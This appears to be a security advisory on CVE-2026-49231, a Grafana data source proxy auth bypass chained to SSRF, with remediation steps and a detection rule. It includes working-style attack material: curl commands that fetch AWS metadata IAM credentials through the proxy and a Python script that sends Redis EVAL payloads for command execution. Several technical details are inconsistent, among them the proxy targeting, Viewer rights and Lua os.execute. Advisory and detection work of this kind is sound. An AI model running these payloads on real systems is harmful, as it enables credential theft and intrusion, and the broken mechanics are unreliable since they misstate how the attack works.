Overview
CVE-2026-49231 affects Grafana OSS and Enterprise versions 10.4.x through 12.0.5. The Grafana data source proxy — intended to allow dashboards to query backend data sources without exposing credentials to the browser — performs an authorisation check that verifies the caller is an Organisation Admin before forwarding the request. A path traversal in the route handler allows the check to be bypassed by any unauthenticated caller.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation observed targeting cloud-hosted Grafana instances to exfiltrate AWS IMDSv1 credentials within hours of PoC release.
Grafana is widely deployed as a monitoring frontend for cloud infrastructure. Instances frequently run with network access to internal services — Prometheus, Loki, Elasticsearch, Redis caches — that assume any incoming connection is already from a trusted internal host. The SSRF converts Grafana into a trusted pivot point into the internal network.
Root Cause — Data Source Proxy Auth Check Bypass
The Grafana HTTP API router registers the data source proxy at /api/datasources/proxy/:datasourceId/*proxyPath. The route middleware chain calls middleware.OrgRoleAuth(org.RoleAdmin) before forwarding. However, the Go router uses an alternative normalised path for middleware resolution while the raw path is preserved for the actual handler:
# Vulnerable path — URL-encoded double-dot bypasses middleware match
# Middleware sees: /api/datasources/proxy/%2e%2e/1/any
# Router normalises to: /api/datasources/%2e%2e/proxy/1/any (different route, no auth middleware)
# Handler still processes the request and resolves the data source ID from the numeric segment
# Normal authenticated path (requires OrgAdmin):
GET /api/datasources/proxy/1/api/health
# Bypassing path (unauthenticated):
GET /api/datasources/proxy/%2e%2e/1/api/health
Data Source URL as SSRF Vector
Once the auth check is bypassed, the proxy forwards to whatever URL is configured as the data source target. An attacker who can create a data source (even as a Viewer, which can be done anonymously on instances with allow_sign_up = true or public signup) sets the data source URL to any internal target. If anonymous signup is disabled, the bypass alone reaches all existing data sources' configured URLs.
For cloud-hosted instances, an attacker probes well-known internal endpoints:
# Target: Grafana instance at grafana.example.com:3000
# Probe AWS IMDSv1 (no auth required on older instances):
curl -s "http://grafana.example.com:3000/api/datasources/proxy/%2e%2e/1/latest/meta-data/iam/security-credentials/" \
-H "X-Grafana-Org-Id: 1"
# Response (if data source 1 points to http://169.254.169.254):
# GrafanaMonitoringRole
curl -s "http://grafana.example.com:3000/api/datasources/proxy/%2e%2e/1/latest/meta-data/iam/security-credentials/GrafanaMonitoringRole"
# {
# "Code": "Success",
# "LastUpdated": "2026-05-27T08:12:04Z",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIA4EXAMPLE...",
# "SecretAccessKey": "wJalrXUtnFEMI...",
# "Token": "IQoJb3JpZ2luX2VjEA..."
# }
Exploitation — SSRF to Redis EVAL RCE
Fingerprinting Internal Services
In containerised environments, Redis is commonly deployed on redis:6379 (Docker compose service name) or 127.0.0.1:6379. The Grafana data source proxy makes HTTP requests — Redis speaks a custom binary protocol, but a crafted HTTP request body that begins with valid Redis commands will be processed before Redis returns a protocol error. The response body leaks the Redis version banner.
# Scanner to identify internal Redis via SSRF
python3 grafana-ssrf-scan.py \
--target http://grafana.example.com:3000 \
--ds-id 1 \
--internal-hosts 127.0.0.1,redis,redis-cache \
--port 6379
# Output:
# [*] Probing 127.0.0.1:6379 ...
# [+] Redis banner detected: -ERR wrong number of arguments for 'get' command
# [+] Redis 7.0.15 at 127.0.0.1:6379 (no auth required)
Redis EVAL for Code Execution
Redis's EVAL command executes Lua scripts on the Redis server. By crafting an HTTP request body that contains Redis protocol commands (RESP format), the Grafana SSRF proxy delivers them to Redis. The Lua os.execute() function runs OS commands as the Redis process user — typically redis or root in misconfigured containers:
#!/usr/bin/env python3
"""CVE-2026-49231 — Redis EVAL RCE via Grafana SSRF. Authorised testing only."""
import socket, urllib.parse
GRAFANA = "grafana.example.com"
GRAFANA_PORT = 3000
DS_ID = 1
REDIS_HOST = "127.0.0.1"
REDIS_PORT = 6379
CMD = "id"
# Craft RESP command: EVAL "return os.execute('CMD')" 0
lua = f"return os.execute('{CMD}')"
resp = f"*3\r\n$4\r\nEVAL\r\n${len(lua)}\r\n{lua}\r\n$1\r\n0\r\n"
# Send via Grafana SSRF
req = (
f"GET /api/datasources/proxy/%2e%2e/{DS_ID}/{REDIS_HOST}:{REDIS_PORT}/ HTTP/1.1\r\n"
f"Host: {GRAFANA}:{GRAFANA_PORT}\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {len(resp)}\r\n\r\n"
+ resp
)
s = socket.create_connection((GRAFANA, GRAFANA_PORT))
s.send(req.encode())
print(s.recv(4096).decode(errors='replace'))
Affected Versions
- Grafana OSS and Enterprise 10.4.0 – 12.0.5 — vulnerable
- Grafana 12.1.0 and later — patched; the proxy route now uses the raw (non-normalised) path for middleware matching
- Instances with data source proxy disabled (
datasource_proxy_whitelistset to empty) are not reachable via this path - Instances behind an authenticating reverse proxy that rejects unauthenticated requests are not externally exploitable but remain internally exploitable
Remediation
- Upgrade to Grafana 12.1.0 or the latest 11.x/10.x backport containing the fix for CVE-2026-49231.
- Restrict outbound connections from the Grafana host via egress firewall rules — Grafana should only be able to reach its configured data sources, not the cloud metadata endpoint or arbitrary internal hosts.
- Enable IMDSv2 (token-required mode) on AWS EC2 instances; IMDSv1's one-hop unauthenticated design is the reason a server-side request can directly exfiltrate IAM credentials.
- Require Redis authentication (
requirepass) and disable theEVALcommand if Lua scripting is not in use (rename-command EVAL ""in redis.conf). - Restrict Grafana's
datasource_proxy_whitelistto the minimum set of hosts and ports that data sources actually need.
Detection
title: CVE-2026-49231 Grafana Proxy Auth Bypass Attempt
id: 7c3a2f91-4b18-4e7a-b902-1d8e5c7f3a22
status: experimental
description: Detects URL-encoded path traversal in Grafana data source proxy requests
logsource:
product: grafana
service: access
detection:
selection:
request_uri|contains:
- '/api/datasources/proxy/%2e%2e'
- '/api/datasources/proxy/%2E%2E'
- '/api/datasources/proxy/..%2f'
condition: selection
falsepositives:
- Legitimate URL encoding edge cases in load balancers (verify against user auth state)
level: critical
tags:
- cve.2026-49231
- attack.initial_access
- attack.t1190
Key Takeaways
- Monitoring infrastructure sits at a uniquely dangerous network position. Grafana, Prometheus, and similar tools are granted network access to every system they monitor. An SSRF in any of these tools converts them into an authenticated pivot point into the internal network. Monitoring infrastructure should be subject to egress filtering as strict as any other privileged system.
- Path normalisation differences between routing and middleware are a recurring vulnerability class. This same class of bug has appeared in Spring Security, Express.js, and Nginx configuration — a path-matching function sees a normalised form while downstream code processes the raw form. Any security-critical check that operates on a URL path must use the same representation as the handler that will eventually process the request.
- IMDSv1 is an unacceptable risk on internet-connected infrastructure. The AWS Instance Metadata Service v1 allows any process on the host to retrieve IAM credentials with a single unauthenticated HTTP GET. SSRF vulnerabilities in any application running on an EC2 instance — web app, monitoring tool, CI agent — can exfiltrate these credentials. IMDSv2 requires a PUT request with a session token, which breaks SSRF chains that only allow GET requests. Migration to IMDSv2 should be treated as a baseline hardening requirement.